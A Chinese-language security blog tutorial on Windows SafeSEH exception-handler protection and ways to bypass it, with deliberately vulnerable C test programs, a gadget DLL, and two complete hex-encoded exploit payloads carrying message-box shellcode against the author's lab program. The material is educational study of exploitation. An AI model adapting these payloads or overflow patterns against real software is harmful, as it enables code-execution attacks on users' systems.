Windows下SafeSEH保护机制详解及其绕过

写在前面:

本篇博客为本人原创,但非首发,首发在先知社区
原文链接:

https://xz.aliyun.com/t/13849?time__1311=mqmxnQG%3D0QqCqYKDsD7m0YoOQG8KDBDzYD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F74789

各位师傅有兴趣的话也可以去先知社区个人主页逛逛(个人昵称:Shad0w_2023)。
通过前面的学习,我们了解到了GS保护机制的绕过方法,其中有一种攻击SEH异常处理的方法,可以说是与通常栈溢出没什么区别,只不过是覆盖的地址不一样,既然攻击SEH这么容易,我们能够想得到,那么开发工程师肯定也想的到,于是出现了SafeSEH保护机制:

一.SafeSEH保护机制概述

我们知道通常情况下,异常处理机制都是系统帮我们写好,编译进程序里面的,那我们如何对这些异常处理地址进行保护呢?我们想想是不是可以像前面的GS那样,我们在另一个地方保存,然后在调用异常处理的时候进行验证呢?实际上是可以的,这张表我们称之为安全S.E.H表。
当程序开启了SafeSEH保护后,在编译期间,编译器将所有的异常处理地址提取出来,并且编入一张安全SEH表中,并且将这张表放到程序的映像里面。当程序调用异常处理函数的时候,将会将函数地址与安全S.E.H表进行匹配,检查调用的异常处理函数是否位于安全S.E.H表中。
但是这里要注意:SafeSEH实现需要操作系统和编译器的双重支持,二者缺一都会降低SafeSEH的保护能力!

  • 那我们来看看操作系统在SafeSEH机制中发挥的作用:
    我们知道异常处理函数的调用是通过RtlDispatchException()函数处理实现的,SafeSEH机制也是从这里开始的。

操作系统在SafeSEH机制中发挥的作用:

  1. 检查异常处理链是否位于当前程序栈中,如果不在当前栈中,将终止异常处理函数的调用。
  2. 检查异常处理函数指针是否位于当前程序栈中,如果指向当前栈中,程序将终止异常处理函数的调用。
  3. 在通过前两项检查之后,将通过一个全新的函数RtlIsValidHandler()函数来对异常处理函数的有效性进行验证。

那么作为全新的安全校验函数,RtlIsValidHandler()函数到底做了哪些工作呢?我们就来详细看看:

1.首先,检查异常处理函数地址是否位于当前加载模块的内存空间,如果位于当前模块的加载空间,进行下一步检验
2.判断程序是否设置了IMAGE_DLLCHARACTERISTICS_NO_SEH标识,如果设置了这个标识,这个程序内的异常将会被忽略,函数直接返回失败,如果没有设置这个标识,将进行下一步检验
3.检测程序中是否含有安全S.E.H表,如果包含安全S.E.H表,则将当前异常处理函数地址与该表的表项进行匹配
4.判断异常处理函数地址是否位于不可执行页上,如果位于不可执行页上,将会检测DEP是否开启,如果未开启,还将判断程序是否允许跳转到加载模块外执行

二.绕过方式分析

通过以上的分析,是不是感觉SafeSEH机制对SEH的保护非常完善?实际上看似非常完善,但是总还是有机可乘的,我们就来分析分析那些情况允许异常处理函数执行:

  1. 异常处理函数位于加载模块之外,且未开启DEP
  2. 异常处理函数位于加载模块之内,相应模块没有开启SafeSEH,且相应模块不是IL
  3. 异常处理函数位于加载模块之内,相应模块启用SafeSEH,该异常处理函数指针位于安全S.E.H表中

我们再来分析一下这几种情况的可行性:
第一种,位于加载模块之外,这里实际上我们只需要加载模块之外的很短的几条指令就可以,通过跳板跳到我们的shellcode执行,即可完成功能。
第二种,我们可以使用没有开启SafeSEH的模块内的指令作为跳板,然后就可以跳转到我们的shellcode执行,也不是一件很困难的事情。
第三种,对于与安全S.E.H表的检验我们可以有两种方式:一种是清空安全S.E.H表,造成未启用SafeSEH保护机制的假象,骗过操作系统去执行shellcode,另一种就是将我们的跳板注册到安全S.E.H表中(但是这种方式比较麻烦,而且安全S.E.H表是加密存放的,我们突破的可能性不是很大,暂时不考虑)
这些方法都可以突破SafeSEH,但是我们有没有更简单的突破方法呢?答案是有的:

  1. 不攻击S.E.H,我们可以考虑其他漏洞去攻击
  2. 利用S.E.H的终极特权:SafeSEH有一个很大的漏洞:就是如果异常处理指针指向堆区,无论检验是否通过,都将执行。

三.SafeSEH保护机制的绕过

既然我们已经对SafeSEH保护机制非常了解了,那我们就来尝试突破一下:

1.通过攻击返回地址来突破SafeSEH

这种方式就是通过非常普通的栈溢出,即使开启了GS,我们在上一篇文章中也学习过了,我们可以轻松绕过GS来劫持程序执行流程。这种方式的详细介绍在上一篇文章中。

2.利用虚函数突破SafeSEH

通过上一节的学习,我们知道C++的虚函数也可以是我们攻击的对象,而且比较容易,上一篇讲过了,这里就不赘述了,这种方式的详细介绍在上一篇文章中。

3.从堆中绕过SafeSEH

从这种方法开始,才可以说是我们真正地攻击SafeSEH了。还记得SafeSEH终极特权吗?就是如果异常处理函数指针位于堆区,即使验证不通过,也会执行,那我们就来尝试一下将我们的shellcode写到堆区进行执行:

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>

void test(char* szBuffer) {
	char str[200]{ 0 };
	strcpy(str, szBuffer);
	int a = 0;
	int b = 1 / a;
}

int main() {

	char* Buffer = (char*)malloc(500);
	_asm int 3;
	HANDLE hFile = CreateFileA(
		"G:\\漏洞原理\\SafeSEH\\Debug\\111.txt", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
	);
	DWORD dwReadSize = 0;
	char* MyPayload = (char*)malloc(500);
	memset(MyPayload, 0, 500);
	ReadFile(hFile, MyPayload, 500, &dwReadSize, NULL);
	test(MyPayload);

	return 0;
}

我们来观察一下这个程序:在主函数中会使用int3触发一个断电,这里用于我们附加到调试器(因为在调试状态下和非调试状态下堆区的状态不同),然后读取文件,调用test函数,在test函数中存在一个明显的溢出。然后使用除零异常来调用异常处理。
test函数中,缓冲区的起始地址:
x64dbg_1
堆中缓冲区的起始地址:
x64dbg_2
异常处理地址:
x64dbg_3
我们现在只需要将缓冲区溢出到距离最近的异常处理地址,就可以执行我们的shellcode。
设计payload:

shellcode填充指令(\x90)堆中payload的起始地址

payload:

//------------------------------------------------------------
//-----------       Created with 010 Editor        -----------
//------         www.sweetscape.com/010editor/          ------
//
// File    : G:\漏洞原理\SafeSEH\Debug\111.txt
// Address : 0 (0x0)
// Size    : 408 (0x198)
//------------------------------------------------------------
unsigned char hexData[408] = {
    0xD9, 0xEB, 0x9B, 0xD9, 0x74, 0x24, 0xF4, 0x31,
    0xD2, 0xB2, 0x77, 0x31, 0xC9, 0x64, 0x8B, 0x71,
    0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B,
    0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x38,
    0x4F, 0x18, 0x75, 0xF3, 0x59, 0x01, 0xD1, 0xFF,
    0xE1, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45,
    0x3C, 0x8B, 0x54, 0x28, 0x78, 0x01, 0xEA, 0x8B,
    0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3,
    0x34, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 0x31,
    0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74,
    0x07, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xEB, 0xF4,
    0x3B, 0x7C, 0x24, 0x28, 0x75, 0xE1, 0x8B, 0x5A,
    0x24, 0x01, 0xEB, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
    0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01,
    0xE8, 0x89, 0x44, 0x24, 0x1C, 0x61, 0xC3, 0xB2,
    0x08, 0x29, 0xD4, 0x89, 0xE5, 0x89, 0xC2, 0x68,
    0x8E, 0x4E, 0x0E, 0xEC, 0x52, 0xE8, 0x9F, 0xFF,
    0xFF, 0xFF, 0x89, 0x45, 0x04, 0xBB, 0x7E, 0xD8,
    0xE2, 0x73, 0x87, 0x1C, 0x24, 0x52, 0xE8, 0x8E,
    0xFF, 0xFF, 0xFF, 0x89, 0x45, 0x08, 0x68, 0x6C,
    0x6C, 0x20, 0x41, 0x68, 0x33, 0x32, 0x2E, 0x64,
    0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xDB, 0x88,
    0x5C, 0x24, 0x0A, 0x89, 0xE6, 0x56, 0xFF, 0x55,
    0x04, 0x89, 0xC2, 0x50, 0xBB, 0xA8, 0xA2, 0x4D,
    0xBC, 0x87, 0x1C, 0x24, 0x52, 0xE8, 0x5F, 0xFF,
    0xFF, 0xFF, 0x68, 0x6F, 0x78, 0x58, 0x20, 0x68,
    0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65, 0x73,
    0x73, 0x31, 0xDB, 0x88, 0x5C, 0x24, 0x0A, 0x89,
    0xE3, 0x68, 0x58, 0x20, 0x20, 0x20, 0x68, 0x57,
    0x64, 0x49, 0x67, 0x31, 0xC9, 0x88, 0x4C, 0x24,
    0x04, 0x89, 0xE1, 0x31, 0xD2, 0x52, 0x53, 0x51,
    0x52, 0xFF, 0xD0, 0x31, 0xC0, 0x50, 0xFF, 0x55,
    0x08, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0xA0, 0x79, 0x68, 0x00 
};

这样我们就可以利用SafeSEH保护机制在堆区有特权的特性,即可执行shellcode。

4.利用未启用SafeSEH的模块突破SafeSEH

大家回想一下前面我们讲过的SafeSEH的校验,如果说异常处理不在本模块中怎么办?如果说该模块未启用SafeSEH,就可以执行。
那我们新的攻击思路就出来了:我们可以将异常处理指针指向一个未启用SafeSEH的模块,在这个模块中找一些指令,作为跳板地址,是不是就可以跳转到我们的ShellCode上执行?
我们来详细看看这中突破方法:
首先,我们需要一个未启用SafeSEH的模块,这里我们创建一个动态链接库,让程序调用:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

void jump() {
	__asm {
		pop eax
		pop eax
		retn
	}
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


然后我们编写存在漏洞的程序:

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>

char MyPayload[500];

DWORD MyException(void) {
	printf("This is My exception!");
	getchar();
	return 1;
}

void test(char* szBuffer) {
	char str[200]{ 0 };
	strcpy(str, szBuffer);
	int zero = 0;
	__try {
		zero = 1 / zero;
	}
	__except (MyException()) {

	}
}

int main() {

	HANDLE Handle = LoadLibraryA("G:\\漏洞原理\\SafeSEH\\Dll1\\Debug\\Dll1.dll");
	char str[200]{ 0 };
	__asm int 3;

	memset(MyPayload, 0, 500);
	HANDLE hFile = CreateFileA(
		"G:\\漏洞原理\\SafeSEH\\Debug\\111.txt", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
	);
	DWORD dwReadSize = 0;
	ReadFile(hFile, MyPayload, 500, &dwReadSize, NULL);
	test(MyPayload);

	return 0;
}

可以看到这里的test函数存在明显的栈溢出漏洞,可以覆盖SEH异常处理指针,那我们就来调试一下程序,写出payload:
动态链接库中我们写好的跳板指令:
x64dbg_4

strcpy函数参数:
x64dbg_5
test函数中,str缓冲区的地址:
x64dbg_6

SEH链:
x64dbg_7
距离栈顶最近的SEH处理地址:0x0019FE80,距离我们的缓冲区0x19FE80-0x19fdb0 = 208
我们在208 ~ 212偏移处写上我们的跳板指令地址0x560c15ee,为了保证ShellCode不被破环,我们在后面再跟8个字节nop,然后后面跟上我们的ShellCode。
Pyaload:

//------------------------------------------------------------
//-----------       Created with 010 Editor        -----------
//------         www.sweetscape.com/010editor/          ------
//
// File    : G:\漏洞原理\SafeSEH\Debug\111.txt
// Address : 0 (0x0)
// Size    : 481 (0x1E1)
//------------------------------------------------------------
unsigned char hexData[481] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0xEE, 0x15, 0x0C, 0x56,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0xD9, 0xEB, 0x9B, 0xD9, 0x74, 0x24, 0xF4, 0x31,
    0xD2, 0xB2, 0x77, 0x31, 0xC9, 0x64, 0x8B, 0x71,
    0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B,
    0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x38,
    0x4F, 0x18, 0x75, 0xF3, 0x59, 0x01, 0xD1, 0xFF,
    0xE1, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45,
    0x3C, 0x8B, 0x54, 0x28, 0x78, 0x01, 0xEA, 0x8B,
    0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3,
    0x34, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 0x31,
    0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74,
    0x07, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xEB, 0xF4,
    0x3B, 0x7C, 0x24, 0x28, 0x75, 0xE1, 0x8B, 0x5A,
    0x24, 0x01, 0xEB, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
    0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01,
    0xE8, 0x89, 0x44, 0x24, 0x1C, 0x61, 0xC3, 0xB2,
    0x08, 0x29, 0xD4, 0x89, 0xE5, 0x89, 0xC2, 0x68,
    0x8E, 0x4E, 0x0E, 0xEC, 0x52, 0xE8, 0x9F, 0xFF,
    0xFF, 0xFF, 0x89, 0x45, 0x04, 0xBB, 0x7E, 0xD8,
    0xE2, 0x73, 0x87, 0x1C, 0x24, 0x52, 0xE8, 0x8E,
    0xFF, 0xFF, 0xFF, 0x89, 0x45, 0x08, 0x68, 0x6C,
    0x6C, 0x20, 0x41, 0x68, 0x33, 0x32, 0x2E, 0x64,
    0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xDB, 0x88,
    0x5C, 0x24, 0x0A, 0x89, 0xE6, 0x56, 0xFF, 0x55,
    0x04, 0x89, 0xC2, 0x50, 0xBB, 0xA8, 0xA2, 0x4D,
    0xBC, 0x87, 0x1C, 0x24, 0x52, 0xE8, 0x5F, 0xFF,
    0xFF, 0xFF, 0x68, 0x6F, 0x78, 0x58, 0x20, 0x68,
    0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65, 0x73,
    0x73, 0x31, 0xDB, 0x88, 0x5C, 0x24, 0x0A, 0x89,
    0xE3, 0x68, 0x58, 0x20, 0x20, 0x20, 0x68, 0x57,
    0x64, 0x49, 0x67, 0x31, 0xC9, 0x88, 0x4C, 0x24,
    0x04, 0x89, 0xE1, 0x31, 0xD2, 0x52, 0x53, 0x51,
    0x52, 0xFF, 0xD0, 0x31, 0xC0, 0x50, 0xFF, 0x55,
    0x08 
};

我们来调试观察一下:
可以观察到已经跳转到我们的跳板指令上执行
x64dbg_8
然后可以看到成功跳转到我们的4个nop上执行,紧接着后面就是我们的ShellCdoe:
x64dbg_9

5.利用加载模块之外的地址突破SafeSEH

我们知道在进程加载的时候,不仅只加载自生PE文件,而且会加载其他很多东西,比如DLL等,在这之中,就有被SafeSEH无视的部分:类型为Map的映射文件,也就是说当异常处理指针指向这里面的地址的时候,SafeSEH保护机制无效(即不做验证)。
x64dbg_10
就是如图所示的这些类型为Map的映射文件,SafeSEH。
那既然这样,我们可不可以在Map类型的映射文件中寻找跳板指令(俗称gadgets),然后跳转到我们的ShellCode上执行呢?
答案是可以的,这种攻击方式与上面的利用未启用SafeSEH的模块突破SafeSEH的方式很类似,都是寻找跳板指令,这里不再做过多赘述。

  • 33
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shad0w-2023

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值